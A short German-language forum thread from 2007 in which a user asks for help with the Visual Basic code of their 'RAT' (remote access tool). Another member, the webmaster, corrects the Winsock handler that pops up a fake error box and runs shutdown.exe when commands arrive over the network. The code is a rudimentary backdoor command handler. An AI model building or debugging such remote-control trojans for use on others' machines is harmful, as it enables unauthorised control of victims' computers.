Also: ich habe ein problem ich habe angefangen mein rat zu programmieren und dann kahm folgendes Problem
Also ich bin gerade an meinem rat am programmieren aber es klappt irgend wie nicht ganz es kommt immer eine Fehlermeldeung
[vb:1:b3039f2960]Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim Data As String
Winsock1.GetData Data
If Winsock1.GetData = "Text3" Then
MsgBox text3, vbCritical, "Error"
End If
If Winsock1.GetData = "shutdown" Then
Shell ("C:\windows\system32\shutdown.exe")
End If
End Sub[/vb:1:b3039f2960]
ist das richtig? oder wie muss das sein?
r4z3r_ « Webmaster »
Anmeldedatum: 06.02.2007 Beiträge: 252
Verfasst am: 22.09.2007, 20:32
[vb:1:c406dbb8cf]
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim Data As String
Winsock1.GetData Data
If Data = "Text3" Then
MsgBox text3, vbCritical, "Error"
End If
If Data = "shutdown" Then
Shell ("C:\windows\system32\shutdown.exe")
End If
End Sub
[/vb:1:c406dbb8cf]
kp ob jetzt alles richtig ist, kb nachzugucken
.GetData speichert die gesendete information in einer Variable... d.h. du musst den wert der variable abfragen
Registrieren
Login
